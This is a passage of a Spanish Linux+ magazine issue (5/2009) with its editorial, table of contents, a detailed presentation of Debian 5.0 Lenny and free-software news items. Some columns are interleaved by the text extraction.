Máquinas virtuales

Anuncio
a modo de introducción
Software libre, ¿lo mejor para la crisis?
Software libre,
¿lo mejor para la crisis?
¡
Hola a todos! Después de casi un año de silencio vuelvo a este
trabajo duro de escribir editoriales. Aunque os parezca que es
algo fácil escribir unas frases sobre el contenido del número
actual, no siempre es así. Si cada mes escribiera lo mismo, nadie
leería esta página y aunque os parezca lo contrario existe un pequeño
porcentaje de los lectores que sí lo hacen. Y para estos seres determinados tengo que exprimir mi mente para sacar las ideas frescas. Uff,
que después de un día de trabajo puede resultar algo agotador... Pero no
exageremos y vayamos al grano.
Empecemos por el tema central de este número. Soluciones para
empresas es el tema que hemos elegido porque dada la situación económica en la que nos encontramos muchas empresas se ven forzadas
a hacer los recortes presupuestarios y buscan las mejores maneras para
ahorrar dinero. En vez de reducir el número de los empleados (que es el
método más fácil pero seguramente no es bueno para el desarrollo de la
empresa a largo plazo), muchas empresas están valorando la posibilidad
de apostar por el software libre y de esta manera bajar sus gastos. Aunque el paso radical de Windows a Linux en la empresa implica gastos
adicionales como el entrenamiento de los empleados, el soporte, etc.,
el ahorro final puede resultar muy satisfactorio. Según la encuesta que
hemos publicado en nuestra web hace algún tiempo la razón principal
para usar software libre en el campo laboral es la cuestión económica.
La accesibilidad y diversidad de las aplicaciones son los factores siguientes. Por todas estas razones hemos preparado una serie de artículos
para acercaros a este tema. A las personas que tienen su propia empresa
o trabajan en una que aprovecha soluciones libres, las informaciones
recogidas en este número seguramente les resultarán muy útiles.
Pero no sólo con el trabajo vive uno. Hay que encontrar tiempo
para las aficiones también. Por esto, otro artículo que me gustaría
recomendaros, sobre todo a las personas que programan o aprenden
a programar en Gambas, está relacionado con lo que siempre asociamos
con diversión: los juegos. Es la tercera parte de nuestro ciclo dedicado
a programación en Gambas y esta vez el autor nos enseña cómo crear
un juego en este lenguaje de programación. Espero lo aprovechéis para
aprender cosas prácticas y divertiros a la vez.
A todas las personas que se interesan por los temas relacionados
con seguridad informática y hacking las invitamos a nuestra nueva
sección, Hacking para linuxeros en la que en este mes encontraréis el
artículo Cracking Wi-Fi que os ayudará comprobar si vuestra red está
en peligro de ser crackeada. Espero que gracias a esta serie de artículos
aprenderéis cómo defenderos de los hackers que quieran aprovecharse
de vuestros datos.
Por último una vez más queríamos animaros a que compartáis vuestras ideas y experiencias en nuestro foro: http://foro-es.lpmagazine.org/,
seguramente encontraréis temas y discusiones interesantes para tomar
parte en ellas, esperamos también vuestros comentarios acerca de los
números actuales de Linux+.
¡Qué aprovechéis este número! Buena lectura y hasta la próxima vez.
Paulina Pyrowicz
Redactora Jefe de Linux+
www.lpmagazine.org
índice
En este número
38
descripción de DVD
6
Debian 5.0 Lenny
Yaiza Temprado Rodríguez
En los últimos años, los proyectos de software libre han abandonado el
entorno universitario y se han ido introduciendo paulatinamente en el
mundo empresarial. Sin embargo, aún hay muchas empresas que, o bien
por desconocimiento o por recelo, aún no se han atrevido a dar “el salto”. En
este artículo se analiza la situación actual del software libre en las empresas
y su nivel de implantación, así como los pros y los contras que supone para
una empresa migrar sus sistemas a software libre.
Miguel Telleria de Esteban
novedades
12
16
17
Reducción de costes de software en la empresa
gracias al Software Libre, ¿un mito?
Noticias
Alex Sandoval
Ubuntu
Francisco Javier Carazo Gil
Fedora
Diego Rivero Montes
soluciones para empresas
18
Máquinas virtuales:
Una alternativa para PYMES
Daniel García
Con este artículo podrá aprender el concepto de máquina virtual, en
qué se basan, su funcionamiento y cómo instalar, compilar y configurar su propia red a base de máquinas. El único requisito es disponer de un PC y ganas de aprender. Para una correcta explicación
de todo el entorno de pruebas es necesario instalar un sistema base
en una máquina virtual. Por ello también se explicará, paso a paso,
este proceso. El sistema a instalar será la distribución GNU/Linux:
Debian.
32
48
José B. Alos Alquézar
Uno de los grandes problemas existentes en la industria es el mantenimiento de sistemas informáticos debido a la obsolescencia de componentes. Quizás el caso más paradigmático sucede en la industria
aeronáutica, en la que, los proyectos a largo plazo de un mínimo de
quince años tropiezan con el handicap de que los sistemas utilizados
para el desarrollo de software empotrado no se pueden cambiar con la
frecuencia que sería deseable.
Google Search Appliance
Miguel Sempere
Google es el buscador de contenidos más importante a nivel mundial, perteneciente a Google Inc. y fundado por Larry Page y Sergey
Brin (dos estudiantes de doctorado en Ciencias de la Computación
de la Universidad de Stanford) hace ya más de 10 años.
Rehosting de sistemas VAX/OpenVMS
en sistemas GNU/Linux
Linux+ 5/2009
índice
Tema del número
Soluciones para empresas
programación
conocimiento libre
58
80
Creando un Juego en Gambas
Jorge Emanuel Capurro
En esta entrega, nos propondremos a crear un juego en Gambas: el famoso JackPot o Tragamonedas. Estudiaremos la lógica de este juego,
como así también los conceptos nuevos que necesitamos para poder
desarrollarlo. Dejemonos un poco de hablar y... ¡comencemos a programar!
Más allá del Conocimiento Libre:
Liberando y Compartiendo Ideas
José Carlos Cortizo Pérez
Por lo general hablamos de liberar código, en referencia al Software
Libre, o liberar trabajos y/o contenidos, en referencia al amplísimo
campo del Conocimiento Libre. Sin embargo, existen movimientos
que tratan de ir más allá de los contenidos en si mismos, llevando la
idea de la libertad al intangible mundo de las ideas. En este artículo
hablaremos de algunas iniciativas en esta línea que le dan una interesante vuelta de tuerca al mundo del Conocimiento Libre.
hacking para linuxeros
68
Cracking Wifi al completo
David Puente Castro (Blackngel)
¿Deseas comprobar si la red WiFi que tienes montada en tu casa es
realmente segura? ¿En tu escuela saben que eres un hacha en esto de
la informática y te han pedido que realices una auditoría de su red inalámbrica? ¿O simplemente no puedes costearte una conexión ADSL
puesto que tus recursos son limitados y tienes la suerte de tener a tu
alcance la red wireless que tu vecino ha instalado hace apenas unos
meses?
entrevista
86
Entrevista a Jordi Bufí
(Co-Fundador de Neurotic)
Jordi Bufí es un “informático metido a emprendedor” desde el año
2003, cuando junto a Carlos Rincón fundó Neurotic, una empresa tecnológica dedicada a ofrecer soluciones Web y consultoría de Drupal.
En Septiembre de 2008, Jordi anunciaba en su blog la liberación bajo
licencia Creative Commons del plan de empresa de un proyecto muy
interesante en el que habían estado trabajando Carlos y él durante
bastante tiempo. En esta entrevista profundizaremos sobre la liberación del plan de empresa y la relación de Neurotic con el Software
Libre.
88
Entrevista a Aurora Garal
(co-fundadora y CEO de WorthIdea)
WorthIdea es una plataforma global que permite a las personas comunicar todas las ideas originales que tengan, generando interesantes
conversaciones entre distintas personas y agentes, o incluso obteniendo remuneración económica por las ideas que realmente aportan
valor. En este número entrevistamos a Aurora Garal, co-fundadora
y actual CEO del proyecto.
www.lpmagazine.org
descripción de DVD
DVD
Debian 5.0 Lenny
E
l 14 de Febrero, los enamorados
del Software Libre tuvimos una
razón más para celebrar el día de
San Valentín: la publicación de
la versión estable de Debian, llamada Debian
Lenny. Con este hito el proyecto Debian cierra
una de sus ciclos de desarrollo más exitosos
y abre otro nuevo, el comienzo de la siguiente
versión: Debian Squeeze.
La cultura e historia de Debian
Quien considere a Debian sólamente como un
mero conjunto de paquetes y las herramientas
para gestionarlos se pierde la mayor parte del
cuadro.
Desde su creación, hace 16 años, Debian es
la distribución pionera en el desarrollo comunitario, definiendo unas pautas y regulaciones que
la gobiernan (constitución y el contrato social).
Estas reglas de funcionamiento, basadas en el
voluntariado, la transparencia, adherencia al
software libre, diálogo, votaciones y libertad
tanto de ataduras de tiempo como de intereses
económicos, han hecho que muchos desarrolladores con talento se hayan sentido atraídos
a contribuir y popularizó la distribución entre
los LUGs y asociaciones linuxeras de todo el
mundo.
Mientras otras distribuciones (tipicamente
RedHat, SuSE y Mandrake) publicitaban sus
entregas como “productos terminados y listos
para su uso inmediato”, Debian tomó la opción de distribuir una instalación minimalista
pero con un avanzado sistema de paquetes
para poder facilmente personalizarla a su entorno. De esta manera Debian se adapta a una
gran gama de plataformas tanto en potencia
de cálculo (desde pequeños o antiguos ordenadores hasta supermáquinas) como en diferentes arquitecturas de procesadores hardware
(x86, PowerPC, ARM, Itanium, Sparc...).
En cuanto a la configuración, Debian desplaza
la función de los típicos asistentes centraliza-
dos a enclaves en el sistema de paquetes para
que cada paquete incluya su propio sistema
de interacción con el usuario y gestione sus
propias opciones. Todo esto ha hecho de este
sistema de paquetes durante mucho tiempo la
más potente de las distrubuciones existentes
(dejando a parte Gentoo que ofrece aún más
opciones al poder personalizar la compilación).
Con el tiempo, el modelo de Debian ha
ido triunfando y se ha exportado a otras distribuciones mayores. De esta forma Red Hat
y SuSE/Novell crearon sus versiones comunitarias, Fedora en 2003, openSuSE en 2004
y Mandriva abrió el Mandriva Club al público a principios del año pasado. En cuanto
a sistemas de empaquetado, el RPM de base
que usan RedHat, SuSE y Mandriva ha sido
extendido en cada una de ellas a YUM, Zipper
y URPMI respectivamente dando capacidades
de gestionar dependencias, repositorios propios y opciones de configuración.
También la instalación minimalista de
Debian ha evolucionado. Con la inclusión en
2005 del instalador de Debian (Debian Installer o D-I para los amigos) se llevó la potencia de los paquetes al propio instalador
simplificando muchos pasos que antes había
que dar manualmente. Aunque por defecto sigue instalando un sistema base basado en consola, la instalación de un entorno de escritorio
Gnome, KDE u otro es mucho más sencilla
y accesible a todo el mundo.
Contribuir a Debian no es difícil, pero
para llegar a convertirse en un desarrollador
oficial pleno se ha de pasar un largo proceso
de prueba puramente basado en la “meritocracia” donde se testean no sólo aspectos
técnicos sino también de familiarización con
la filosofía del proyecto. En cualquier caso
todos los desarrolladores y colabores realizan
su tarea como voluntarios sin ninguna remuneración directa.
En la actualidad Debian continua siendo un
referente, siendo de las distribuciones que más
atención presta a las licencias y aspectos legales
del software libre a la vez que mantiene unos
altos niveles de calidad sobre una gran cantidad
de paquetes.
Debian: 3 distribuciones
en 3 ramas
Para aprovecharse bien de las ventajas de
Debian hay que conocer y comprender como
se crean las diferentes versiones de su distribución.
Como toda distribución de GNU/Linux,
Debian no es la autora del software que distribuye sino que lo recoge de los desarrolladores
originales (OpenOffice, Apache...), denominándose versiones río arriba o upstream. Estas
versiones se empaquetan añadiéndoles arreglos de fallos y correcciones para seguir las
normas estándares de Debian (sincronizándose lo máximo posible con los ya mencionados
desarrolladores upstream). Estos paquetes ya
se instalan de forma uniforme en el sistema.
Sólo cuando en Debian consideran que el conjunto de la distribución mantiene unos niveles
aceptables de calidad medido por los fallos
(bugs ) abiertos en su sistema de seguimiento
de fallos (bug tracking system o BTS) consideran el ciclo terminado y publican la versión
como finalizada.
Este proceso suele llevar unos 2 años,
periodo durante el cual la última versión publicada acaba quedándose obsoleta respecto
a las muchas novedades que se generan en el
software libre. Para paliar este problema, el
proyecto Debian ofrece siempre a los usuarios elegir entre tres distribuciones en tres
ramas.
•
•
Figura 1. Debian Lenny
Linux+ 5/2009
La versión finalizada en la rama estable
(stable): Esta versión, que fue probada
y corregida durante todo el ciclo anterior, es la que se recomienda para máquinas en producción o cualquier entorno crítico.
Los paquetes de esta rama nunca cambiarán de versión ni tendrán nueva funcionalidad añadida (salvo cuando se pase de un
ciclo a otro), las únicas actualizaciones
salen para corregir fallos de seguridad.
A cambio se garantiza una estabilidad
de hierro en el sistema y un estricto seguimiento de la aparición de vulnerabilidades.
descripción de DVD
DVD
De esta forma antes del 14 de febrero la correspondencia rama versión era:
•
•
•
stable – Debian Etch
testing – Debian Lenny
unstable – Debian Sid
mientras que a partir de dicha fecha la correspondencia es y seguramente seguirá siendo por
muchos meses:
•
•
•
Figura 2. Particionado con el debian installer
•
•
•
La versión del ciclo actual en la rama de
test (testing): En esta rama los paquetes
van llegando de la rama inestable, generalmente automáticamente, después de haber pasado allí un mínimo tiempo de testeo y con la condición de que tanto ellos,
como sus dependencias, no tengan un
número importante de fallos reportados
sin corregir (pero alguno siempre suele
quedar).
En esta rama se mantiene siempre un
sistema coherente y más o menos actualizado con las versiones originales upstream.
La rama de test es una posible alternativa
para tener un sistema de trabajo funcional
y moderno pero con las siguientes contraprestaciones:
– Los paquetes aún pueden tener fallos
abiertos importantes.
– No todos los programas están en las
versiones modernas, a veces un fallo
importante en una librería puede bloquear un proyecto entero para pasar
de la rama inestable a la rama de test.
Debian es más conservativa que la
mayoría de las distribuciones en cuanto a la estabilidad se refiere.
– Durante un mismo ciclo de desarrollo se harán bastantes transiciones de
subsistemas grandes (ej. nuevas versiones de escritorios, o de intérpretes
como PERL o Python...). Las transiciones de estas versiones requieren
a veces unas intervenciones manuales
para volver a dejar el sistema funcionando.
•
•
•
•
•
•
•
•
– El soporte de actualizaciones de seguridad existe (sobre todo al final del
ciclo) pero no es de la misma calidad
que en la rama estable.
Version Debian Sid en la Rama inestable
(unstable): en esta rama se reciben nuevas versiones ya sea directamente del
desarrollador upstream o del repositorio
experimental donde se realizan las pruebas “más arriesgadas”.
Los paquetes de esta rama garantizan que
en sí solos compilan y ejecutan, pero en
cambio puede haber incompatibilidades
entre unos nuevos paquetes y otros antiguos o existir varias versiones de los
mismos.
El mantenimiento de un sistema 100 %
funcional en esta rama es algo laborioso
y requiere familiarizarse con mecanismos
especiales del sistema de paquetes (desactivar actualizaciones de algunos paquetes,
mezclar versiones de otras ramas o forzar
algunos pasos no muy ortodoxos).
Por lo tanto no se recomienda para sistemas de producción (más que nada por la
sobrecarga que conlleva el tenerla siempre
funcional).
Sin embargo esta rama cumple varias funciones importantes:
Es la rama donde se desarrolla verdaderamente la evolución de la distribución. Si
queréis
Permite al usuario disfrutar de las ultimas
funcionalidades del software libre manteniéndose dentro de la propia distribución.
¡ Se aprende mucho sobre Debian y Linux
usando esta rama !
www.lpmagazine.org
stable – Debian Lenny
testing – Debian Squeeze
unstable – Debian Sid (ésta no cambia)
Por estas fechas en muchos lugares del mundo
máquinas en producción que se mantienen en
la rama estable estarán haciendo la única transición importante en los ultimos 2 años: pasar
de Etch a Lenny, proceso que forma parte de las
pruebas de la rama testing.
También hay que hacer notar que no todo
es blanco o negro. Debian permite mezclar
paquetes de ramas diferentes o importar de
otros proyectos como Ubuntu. Lo normal es
tener casi todo proveniente de una misma
rama salvo algunos paquetes backportados
(esto es reconstruidos a partir de las fuentes
de otra rama más avanzada) desde ramas más
avanzadas o de repositorios no oficiales.
Debian y Ubuntu,
una simbiosis perfecta
El lento proceso de publicación, junto a algunas ferreas restricciones de legalidad hacen
que Debian siempre haya sido ligeramente ardua de usar sobre todo para el usuario novel.
Por otro lado la transparencia y gran disponibilidad del código que ofrece Debian facilita
el sacar distribuciones derivadas.
Varios intentos surgieron para hacer una
Debian gran público con instaladores gráficos
y una buena personalización para un usuario
de escritorio. Pero allí donde otros fracasaron
(entre ellos su fundador Ian Murdock con
Progeny), Mark Shuttleworth, millonario
gracias a Thawte, turista espacial y... antiguo
desarrollador de Debian, triunfó creando la
distribución Ubuntu en Octubre del 2004, en
plena crisis Debianista por el largo retardo
en la publicación de la versión Sarge (llevó
3 años).
En cuanto a modelo de trabajo, Ubuntu se
diferenció de sus predecesoras (Progeny, Libranet...) en cuatro cosas:
•
Alimentarse de la versión inestable, en
vez de las otras versiones que partían de la
versión estable ya finalizada.
descripción de DVD
DVD
•
•
•
Hacer ciclos de publicaciones más cortos sincronizándose con proyectos como
Gnome y ocupándose sólo de un número
reducido de paquetes claves para el sistema de escritorio (el resto de los paquetes
sigue estando disponible en repositorios •
como universe que proviene de la rama
inestable de Debian).
Seguir el mismo modelo abierto que Debian, abriendo sus repositorios, creando
un sistema de gestor de fallos y un mon- •
tón de herramientas en su excelente forja
launchpad.net.
Y no menos importante... contratando
mediante su empresa Canonical a gente
importante de Debian dándoles un sueldo para que trabajasen en Ubuntu pero
permitiéndoles también el trabajar con
Debian.
Sin embargo con Ubuntu el desarrollo de Debian también se ha visto beneficiado, puesto
que ha permitido a Debian ver como nuevos
paquetes, sobre todo de escritorio se iban comportando en una release final. Las publicaciones
siguientes a Sarge (Etch y ahora Lenny) han sido mucho más sencillas de hacer.
Además es bastante sencillo reconstruir un
paquete de una distribución en la otra ya que
utilizan el mismo sistema y nomemclatura de
paquetes.
Diferencias
entre Debian y Ubuntu
La distribución estable de Debian tiene
una garantía de funcionamiento mayor al
elegir versiones de software más maduras.
•
•
•
•
Por otro lado usuarios de Ubuntu encontrarán las siguientes pequeñas diferencias en
Debian respecto a lo que están acostum- •
brados.
Firefox y Thunderbird renombrados a Iceweasel y Icedove. Esto es así por un conflicto
entre Debian y la Mozilla Foundation que sigue
sin resolverse en dos puntos:
•
Yo citaría las siguientes ventajas de Debian
sobre Ubuntu:
•
•
Por ejemplo Debian Lenny viene con el
Network Manager (gestor automático de
conexiones de red) 0.6 mientras que
Ubuntu Intrepid ya se atrevió con la 0.7
creando problemas para IP’s estáticas).
Debian da un servicio completo de calidad a todos sus paquetes (mientras tengan licencia libre) mientras que Ubuntu
sólo da soporte oficial de Canonical al
subconjunto del repositorio main.
Debian es la única que se preocupa de
ofrecer CD’s o DVD’s de descarga para
toda su distribución. Ubuntu sólo ofrece
1 CD básico para cada versión Ubuntu
(Ubuntu, Kubuntu, Edubuntu, Xubuntu...). Aunque esto es cada vez menos necesario dado el creciente acceso a la banda ancha, sigue siendo importante o incluso imprescindible en entornos cerrados o sin acceso permanente o de calidad
a internet.
El artwork (iconos, banners...) que Debian
quiere retocar pero que Mozilla no lo permite manteniendo el mismo nombre del
programa.
El deseo de Debian de dar soporte a una
misma versión proveyendo actualizaciones
de seguridad mientras que Mozilla quiere •
maximizar la actualización a nuevas versiones.
Sin embargo el código fuente es el mismo
y los plugins de Firefox y thunderbird
funcionan también perfectamente en las
versiones de Debian.
En sentido estricto los debianistas pensamos que Ubuntu también debería haber renombrado sus paquetes, pero ellos
decidieron no hacerlo para no confundir
al usuario final.
Debian no utiliza sudo por defecto. Hay
que definirse una contraseña de root en
el momento de la instalación y cualquier
aplicación de administración gráfica pedirá esa contraseña en vez de la del usuario
con permisos sudo.
Ausencia de drivers no libres (como los
de las tarjetas gráficas nVidia y ATI). Fiel
a sus principios, Debian recomienda usar
los equivalentes (aunque a veces menos
funcionales) drivers libres nv y ati, o en
el peor de los casos el universal vesa. Si
se quiere instalar los drivers propietarios,
existen páginas en la web que te enseñan
como hacerlo facilmente.
Falta de paquetes con soporte para MP3
o codecs propietarios. Ya sea por temas de
no libertad, problemas de patentes de software (o ambos) algunos formatos como el
MP3 o ciertos codecs no están plenamente
soportados en los repositorios oficiales de
Debian. Sin embargo existe otro repositorio de larga tradición que siempre los ha
tenido, el Debian Multimedia de Christian
Marillat.
NOTA: Para evitarse problemas, lo mejor
es utilizar los formatos de audio y video
Ogg lo máximo posible.
KDE4 no ha sido admitido aún siquiera en
la versión inestable de Debian (mientras
que Ubuntu Intrepid ya lo trae por defecto
en sus versiones de Kubuntu). Quien quiera usar KDE4 en Debian tiene que tomarlo
del repositorio experimental.
Aspectos nuevos
de Debian Lenny
Para entender el estado de modernidad de una
distribución no hay que fijarse en su fecha de
publicación sino en su fecha de congelado la
cual ocurre en los ultimos meses del ciclo de
desarrollo.
Debian Lenny fue congelada en Septiembre del 2008 y desde entonces todas las
actualizaciones fueron para corregir fallos
existentes. Esto quiere decir que está más
o menos a la par que Ubuntu Intrepid 8.10 en
cuanto a versiones de software.
Merece la pena leerse las notas de publicación, sobre todo el segundo capítulo, para ver
Figura 3. Escritorio GNOME
Linux+ 5/2009
descripción de DVD
DVD
Si no puedes leer el disco DVD
y no notas ningún tipo de deterioro
mecánico, por favor, pruébalo en al menos
dos unidades de disco diferentes.
5/2009
www.lpmagazine.org
En caso de problemas, escribir a: [email protected]
descripción de DVD
DVD
lo que tenemos disponible. Para hacernos una Instalación
idea aquí van las versiones de los paquetes más La instalación de Debian Lenny es muy senconocidos.
cilla y se puede realizar desde varias fuentes
(CD, Pendrive USB, desde red...) o incluso
versiones mixtas. Yo recomiendo bajarse un
• Kernel 2.6.26
primer CD completo, instalarse el sistema
• Gnome 2.22
desde dicho CD y después ir tirando de pa• KDE 3.5.10
quetes de internet.
• LXDE 0.3.2
Si optamos por esta opción los pasos
• XFCE 4.4.2
serían:
• OpenOffice 2.4.1
• Iceweasel (Firefox) 3.0.5
• Seleccionar cual de los 3 CD’s de instala• Icedove (thunderbird) 2.0.0.19
ción bajarse. Por defecto (el CD1) instala
• GIMP 2.4.7
Gnome, pero también hay versiones para
• Apache 2.2.9
KDE y para XFCE/LXDE. En cualquier
• PERL 5.8.8
caso todos los paquetes se encuentran en
• Python 2.5.2
los repositorios o en los otros 31 CD’s del
• PHP 5.2.6
sistema.
• MySQL 5.0.51a
• Al arrancar elegir entre el instalador
• PostgreSQL 8.3.5
gráfico (que instalará un sistema comple• Exim 4.69
to hasta el escritorio) o el instalador de
• Postfix 2.5.5
texto (que instalará un sistema de base de
• GCC 4.3.2
línea de comando).
Por otra lado Debian Lenny también trae las • Realizar el particionamiento manual con
siguientes novedades (respecto a versiones
cuidado eligiendo una partición para el
anteriores):
sistema y otra para el home.
• Definir la contraseña de root y un usuario
aparte.
• Unos paquetes especiales (Debian Pure
Blend) para los miniportátiles Asus EEE.
• Dejar que el sistema base termine de instalarse.
• Soporte para cross-compilación en sistemas embarcados ARM con EmDebian.
• Instalar gestor de arranque
• Un entorno para generar distribuciones live
(autocontenidas en CD’s o pendrives USB). Al arrancar se obtendrá un sistema como el de
• SELinux (un sistema para ampliar el sis- la Figura 2 (para el caso de Gnome).
tema de permisos de Linux con ACLs)
ahora se instala por defecto aunque hay Webs y recursos de ayuda
que activarlo expresamente para usarlo.
Debian tiene sus herramientas particulares:
• Soporte para el sistema de virtualización
OpenVZ/Linux Vserver. Además de los ya • Sistema de seguimiento de fallos:
presentes (Xen, KVM, Qemu...).
http://bugs.debian.org.
Sobre el autor
Miguel Telleria de Esteban trabaja en la Universidad de Cantabria (Santader, España)
como investigador en sistemas de tiempo
real. Además participa y colabora con los
LUGs (http://linuca.org) de la región de Cantabria y http://bxlug.be de la región de Bruselas (Bélgica). Lleva usando Debian y Ubuntu
desde hace 7 años.
•
•
Además de esto existen muchas recetas en http://
debian-administration.org y mucha de la documentación que veáis sobre ubuntu os puede
valer. No olvidéis tampoco vuestro LUG local
para cualquier ayuda.
Conclusión
Debian Lenny es una distribución muy funcional que lleva acumulado todo el saber de Linux
y de Debian de varios años. Es una buena alternativa a la Ubuntu LTS ya que se dispone de
un soporte de largo tiempo y el sistema ha sido
bien testeado para su estabilidad. Por otro lado
Debian ofrece otras ramas desde donde importar versiones de paquetes más avanzadas.
En la red
•
•
•
•
•
•
•
Figura 4. Procedimiento de instalación del driver propietario nvidia
10
Linux+ 5/2009
Base de datos de paquetes:
http://packages.debian.org.
Listas de correo de soporte y discusión:
http://lists.debian.org.
Constitución de Debian:
http://www.debian.org/devel/
constitution,
Contrato social de Debian y DFSG:
http://debian.org/social contract,
Fallo launchpad 259214 opciones
de la conexión de cable perdidas
después de un re-arranque:
https://bugs.launchpad.net/bugs/
259214,
Notas de release de debian lenny:
http://www.debian.org/releases/
stable/i386/release-notes/
index.es.html,
Procedimiento de instalación
del driver propietarios nvidia:
http://forums.debian.net/
viewtopic.php?t=28381,
Repositorio de christian marillat:
http://debian-multimedia.org/,
Soporte de debian para asus eee:
http://debian-eeepc.alioth.debian.org/.
NE WS
novedades
Noticias sección llevada por Alex Sandoval [email protected]
Asia y América en 2010
En 2010 la implantación del software libre
llegará a un 70% aproximadamente. Prueba
de ello son los resultados de un estudio publicado por María Dolores Gallego, Salvador Bueno (ambos de la Universidad Pablo
de Olavide) y Paula Luna (Universidad de
Sevilla) en la revista Technological Forecasting & Social Change, que apuntan que
en 2010 la adopción de software libre en
América del Sur y Asia se situará próximo
al 70%. Según este estudio, la flexibilidad
y la calidad son las variables que más influencian al usuario a la hora de elegir.
Los investigadores cierran el artículo con
una recomendación a la administración pública, porque quien está poniendo realmente interés a la difusión es ella... las claves
para el fomento de este tipo de herramientas se encentran en estos resultados, buscando fundamentalmente la flexibilidad.
Gobierno alemán destina 500 millones
de euros al Software Libre
Después que el gobierno británico demostrara
que el software libre es mejor para sus contribuyentes y, a partir de ahí, desarrollara un plan
de acción para impulsarlo, otros gobiernos
europeos parecen estar tomando nota y montando otros planes para apoyar el Software
Libre. En concreto, el gobierno alemán acaba
de decidir destinar 500 millones de euros al
programa Open Source and Green IT, un
programa dedicado a la estabilidad y crecimiento de las herramientas de Software Libre,
tecnologías "green" y soluciones de seguridad
informática para objetivos gubernamentales.
http://softlibre.barrapunto.com/softlibre/09/
03/06/1142214.shtml
Zypper permitirá actualizar openSUSE
al estilo de dist-upgrade
Con la introducción de zypper en openSUSE, una herramienta muy superior a YOU
(YaST Online Update) y ZLM, los chicos
del proyecto openSUSE desean ofrecer a los
usuarios la posibilidad de actualizar la distro
completa al estilo de dist-upgrade en Debian.
Esta nueva característica podría ser un
gran impacto para los usuarios, empresas
y departamentos TI que utilizan openSUSE,
ya que permitiría actualizar de forma muy
simple una instalación existente a la versión
más actualizada.
Esta es la única característica competitiva
significativa de Debian/Ubuntu que le
faltaba a openSUSE. Planean ofrecer esta
funcionalidad desde openSUSE 11.2, y solo
permitirá actualizar desde la versión
11.1, ya que es un gran desafio. El equipo
del proyecto también aspiran a realizar
actualizaciones incrementales, primero
de 11.1 a 11.2 y luego de 11.x a 12.0.
Espero que todo le salga bien a los chicos del proyecto openSUSE, y podamos
actualizar nuestra instalación a la manera
debianita.
http://microteknologias.wordpress.com/
2009/03/04/zypper-permitira-actualizaropensuse-al-estilo-de-dist-upgrade/
12
World of Goo en el mundo de Tux
P
ara ser parte de la industria de desarrollo de
videojuegos se debe contar con enormes cantidades de dinero y recursos para competir con
los grandes de la industria, condiciones comparables a las que se encuentran en la industria
cinematográfica. Atrás quedaron los tiempos en
que divertidos juegos eran creados con mucho
ingenio y esfuerzo personal, cuando sólo bastaba
un computador, las ganas de programar y divertirse al mismo tiempo. Y es que hoy desarrollar
juegos ya no es tan divertido como antes, incluso
se sabe de grandes fabricantes que han sido demandados por sus malas condiciones de trabajo.
En este contexto aparece 2D Boy, un par de
indie developers que dejaron las filas de Electronic Arts para volver a trabajar como se hacía
antes pero con la tecnología de hoy. Su plan es
desarrollar juegos originales en donde la diversión es el factor predominante, y lo han logrado
con su primera entrega : World of Goo.
En pocas palabras, World of Goo es un juego de ingenio con una gran dosis de física. El jugador debe controlar a los “goo’s”, unos personajes
en forma de bolita que tienen distintas habilidades, y los debe ordenar para construir todo tipo
de arquitecturas de tal forma que se logre el objetivo de cada etapa. El concepto es simple pero
altamente adictivo debido a sus ingeniosos niveles, divertida música, excelentes gráficos y buenos toques de humor.
Pero eso no es todo, ya que los muchachos
de 2D Boys se la jugaron, y sin conformarse con
tener esta versión para Wii, Windows y Mac,
han desarrollado una versión para Linux. En sus
propias palabras:
Las estadísticas de nuestro blog nos dicen que
cerca del 5% de nuestros visitantes usan Linux,
asi que no estábamos seguros si habría mucho
interés de la comunidad Linux o no. ¿Los usua-
Este juego trata sobre unas bolitas (al parecer de
petroleo) llamadas los “goo’s”, que tienen diferentes
habilidades, y que se tienen que organizar para
construir diversas estructuras con el fin de lograr el
objetivo en cada etapa
Linux+ 5/2009
ros de Linux juegan? Puede ser. ¿Es sólo un problema del huevo y la gallina donde los usuarios
de Linux jugarían más si más gente hace versiones de sus juegos para Linux?
Nuestra desición de hacer que World of Goo
estuviera disponible para Linux no tenía mayor
discusión ¡Porque los juegos DEBEN estar disponibles para Linux!
La versión para Linux está disponible en los
tres formatos más conocidos : tar.gz, .deb y .rpm.
En FayerWayer Labs(tm) hemos probado la versión .deb del demo en Ubuntu 8.10 y después de
un simple doble click sobre el paquete descargado, funciona a la perfección en modo full screen,
con una experiencia limpia, tal como correr un
juego nativo tipo FrozenBubble con esteroides.
Si el juego no hubiese sido tan bueno, usted
ya habría leido este artículo.
En el día de lanzamiento de World of Goo
para Linux, las ventas para esta plataforma generaron un aumento en el 40% de lo que ya tenían.
Es la respuesta de la comunidad a la apuesta de
2D Boy, y reconocen que han visto un mercado
en el mundo del pinguino también.
Lo que no se vió
En la versión para Linux tuvieron que enfrentar
algunas dificultades técnicas, una de ellas fue
una batalla frente a PulseAudio que viene por
omisión en las distribuciones populares como
Ubuntu. PulseAudio provocaba un poco de
retardo en el audio, algo que no sería problema
para la mayoría de las aplicaciones pero puede
ser crítico para un juego, en donde audio y video
deben sentirse perfectamente sincronizados. Al
final pudieron lograrlo pero les tomó un esfuerzo
adicional. Sin temor a ser criticados declaran que
en Windows no tuvieron este tipo de problemas.
Otra crítica constructiva que hacen es que
Linux está construido por gente muy inteligente,
pero al mismo tiempo de una linea bastante dura.
Hay una gran cantidad de buenas ideas, pero para los desarrolladores es complejo poder abarcarlas todas, por ejemplo los sitemas de audio/video
o los formatos de paquetes. Para ellos sería más
sencillo si no existieran tantas opciones.
Algo a destacar es que pudieron incorporar
a la comunidad en parte del desarrollo y los resultados fueron mejores de lo que esperaban.
Sabíamos desde el principio que queríamos
que nuestro juego estuviera disponible para cualquiera, independiente de la plataforma. Además
teníamos el deseo secreto de ver surgir las ideas
de apertura que están detrás de Linux. Conocimos a la persona que hizo nuestro port de linux
novedades
sección llevada por Alex Sandoval [email protected] Noticias
porque el era un fan que había creado un wiki
para traducir nuestro juego en una gran cantidad de lengujes. Quedamos sorprendidos - las
traducciones de nuestra comunidad eran de una
calidad superior a las que recibimos de servicios
de traducción pagados. Los aportes fueron tan
buenos y rápidos, que decidimos usar la traducción de la comunidad para nuestro release euro-
peo de la versión de Wii. Incluso nos ayudaron a
hacer el beta test de cada lenguaje. World of Goo
está disponible para descarga desde el sitio de 2D
Boy en sus versiones de Windows, Mac y Linux,
tanto el demo como la versión completa, y para
Nintendo Wii se encuentra a través de WiiWare.
http://www.fayerwayer.com/2009/02/world-ofgoo-en-el-mundo-de-tux/
MSI Winki, la vía rápida a Internet con Linux
E
l productor mundial de placas madre
y tarjetas gráficas, MSI International,
siempre se ha dedicado no sólo a la producción
de buenos productos, sino también al desarrollo
